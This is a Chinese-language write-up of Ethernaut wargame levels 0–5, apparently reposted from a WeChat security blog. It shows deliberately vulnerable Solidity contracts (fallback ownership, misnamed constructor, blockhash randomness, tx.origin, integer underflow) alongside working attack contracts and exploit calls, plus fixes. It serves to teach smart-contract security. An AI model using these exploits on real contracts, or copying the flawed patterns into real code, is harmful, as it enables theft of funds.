0.Hello Ethernaut🐑
题目源码
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Instance {
string public password;
uint8 public infoNum = 42;
string public theMethodName = 'The method name is method7123949.';
bool private cleared = false;
// constructor
constructor(string memory _password) public {
password = _password;
}
function info() public pure returns (string memory) {
return 'You will find what you need in info1().';
}
function info1() public pure returns (string memory) {
return 'Try info2(), but with "hello" as a parameter.';
}
function info2(string memory param) public pure returns (string memory) {
if(keccak256(abi.encodePacked(param)) == keccak256(abi.encodePacked('hello'))) {
return 'The property infoNum holds the number of the next info method to call.';
}
return 'Wrong parameter.';
}
function info42() public pure returns (string memory) {
return 'theMethodName is the name of the next method.';
}
function method7123949() public pure returns (string memory) {
return 'If you know the password, submit it to authenticate().';
}
function authenticate(string memory passkey) public {
if(keccak256(abi.encodePacked(passkey)) == keccak256(abi.encodePacked(password))) {
cleared = true;
}
}
function getCleared() public view returns (bool) {
return cleared;
}
}
主要是了解使用方法和基本操作
await contract.info()
// "You will find what you need in info1()."
await contract.info1()
// "Try info2(), but with "hello" as a parameter."
await contract.info2('hello')
// "The property infoNum holds the number of the next info method to call."
await contract.infoNum()
// 42
await contract.info42()
// "theMethodName is the name of the next method."
await contract.theMethodName()
// "The method name is method7123949."
await contract.method7123949()
// "If you know the password, submit it to authenticate()."
await contract.password()
// "ethernaut0"
await contract.authenticate('ethernaut0')
1.Fallback🐇
题目源码
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import '@openzeppelin/contracts/math/SafeMath.sol';
contract Fallback {
using SafeMath for uint256;
mapping(address => uint) public contributions;
address payable public owner;
constructor() public {
owner = msg.sender;
contributions[msg.sender] = 1000 * (1 ether);
}
modifier onlyOwner {
require(
msg.sender == owner,
"caller is not the owner"
);
_;
}
function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if(contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}
function getContribution() public view returns (uint) {
return contributions[msg.sender];
}
function withdraw() public onlyOwner {
owner.transfer(address(this).balance);
}
receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
}
注意两个部分
// 记录用户地址对合约的贡献量,当用户当前的贡献值大于 owner(定义为1000),获得 owner权限
function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if(contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}
// fallback函数,当使用 send() 方法发送数据给合约时总会调用该方法
// 定义参考文章:https://me.tryblockchain.org/blockchain-solidity-fallback.html
receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
思路如下
攻击合约部署
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "./debug.sol";
contract Attack is Fallback {
address payable addr = 0x67C2b4b52c4246BB32C200B475062e7882DB265D;
Fallback att = Fallback(addr);
function obtain_owner() public payable {
payable(addr).send(msg.value);
}
}
调用 contribute方法发送 1 wei
使用 send() 方法发送 1 wei, 触发 fallback
调用后查看 owner权限,已经成功获取
最后调用 withdraw方法 完成关卡
2.Fallout🐋
题目源码
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import '@openzeppelin/contracts/math/SafeMath.sol';
contract Fallout {
using SafeMath for uint256;
mapping (address => uint) allocations;
address payable public owner;
/* constructor */
function Fal1out() public payable {
owner = msg.sender;
allocations[owner] = msg.value;
}
modifier onlyOwner {
require(
msg.sender == owner,
"caller is not the owner"
);
_;
}
function allocate() public payable {
allocations[msg.sender] = allocations[msg.sender].add(msg.value);
}
function sendAllocation(address payable allocator) public {
require(allocations[allocator] > 0);
allocator.transfer(allocations[allocator]);
}
function collectAllocations() public onlyOwner {
msg.sender.transfer(address(this).balance);
}
function allocatorBalance(address allocator) public view returns (uint) {
return allocations[allocator];
}
}
我们可以注意到构造函数 Fallout 被写成了 Fal1out,导致该函数不是构造函数,可以直接调用获取 owner权限
调用方法即可获取权限
3.Coin Flip🐋
题目源码
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import '@openzeppelin/contracts/math/SafeMath.sol';
contract CoinFlip {
using SafeMath for uint256;
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor() public {
consecutiveWins = 0;
}
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number.sub(1)));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = blockValue.div(FACTOR);
bool side = coinFlip == 1 ? true : false;
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}
这里通过计算上一区块的信息与一个固定的数值相计算,就不存在随机的情况了,除了第一次的上一区块随机,其他均为可知的值
直接使用原合约的计算方法,部署攻击合约
contract Attack {
using SafeMath for uint256;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
address addr = 0x36D583674B7afE99c0c8FDE510BbA46ec7b96531;
CoinFlip coin = CoinFlip(addr);
function attack() public{
uint256 blockValue = uint256(blockhash(block.number.sub(1)));
uint256 coinFlip = blockValue.div(FACTOR);
bool side = coinFlip == 1 ? true : false;
coin.flip(side);
}
}
调用10次完成关卡
通过solidity产生随机数没有那么容易. 目前没有一个很自然的方法来做到这一点, 而且你在智能合约中做的所有事情都是公开可见的, 包括本地变量和被标记为私有的状态变量. 矿工可以控制 blockhashes, 时间戳, 或是是否包括某个交易, 这可以让他们根据他们目的来左右这些事情.
想要获得密码学上的随机数,你可以使用 Chainlink VRF, 它使用预言机, LINK token, 和一个链上合约来检验这是不是真的是一个随机数.
一些其它的选项包括使用比特币block headers (通过验证 BTC Relay), RANDAO, 或是 Oraclize).
4.Telephone🐋
题目源码
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Telephone {
address public owner;
constructor() public {
owner = msg.sender;
}
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}
这里需要区分 tx.origin 和 msg.sender ,msg.sender是函数的直接调用方,
而 tx.origin 则必然是这个交易的原始发起方,无论中间有多少次合约内/跨合约函数调用,一定是账户地址而不是合约地址。
回到代码块中, 需要做到的是 tx.origin != msg.sender
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
如上图,我们只需要部署一个第三方合约A调用目标合约B,就可以通过判断获取 owner权限
5.Token🦉
题目源码
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Token {
mapping(address => uint) balances;
uint public totalSupply;
constructor(uint _initialSupply) public {
balances[msg.sender] = totalSupply = _initialSupply;
}
function transfer(address _to, uint _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}
function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
}
根据题目提示我们默认含有20代币,注意一下 transfer方法
// 向某地址转移代币,且需要通过require的大于0的检测
function transfer(address _to, uint _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}
以太坊虚拟机(EVM)为整数指定固定大小的数据类型。这意味着一个整形变量只能表达一定范围的数字。
例如,uint8,只能存储[0,255]之间的数字,如果想存储256,那么就会上溢,从而将变量的值变为0。相对应的,如果从一个uint8类型的值为0的变量中减1,就会发生下溢,该变量会变成255。
所以我们需要通过下溢出来完成攻击
部署合约后可以看到默认20代币,产生下溢我们就可以向任意地址转移 21代币,发生下溢
Overflow 在 solidity 中非常常见, 你必须小心检查, 比如下面这样:
if(a + c > a) {
a = a + c;
}
另一个简单的方法是使用 OpenZeppelin 的 SafeMath 库, 它会自动检查所有数学运算的溢出, 可以像这样使用:
a = a.add(c);
如果有溢出, 代码会自动恢复.
关于文库🦉
https://www.yuque.com/peiqiwiki
最后
下面就是文库的公众号啦,更新的文章都会在第一时间推送在交流群和公众号
想要加入交流群的师傅公众号点击交流群加我拉你啦~
别忘了Github下载完给个小星星⭐
同时知识星球也开放运营啦,希望师傅们支持支持啦🐟
知识星球里会持续发布一些漏洞公开信息和技术文章~
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。
PeiQi文库 拥有对此文章的修改和解释权如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。
原文始发于微信公众号(PeiQi文库):区块链安全 - Ethernaut 0-5 (一)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论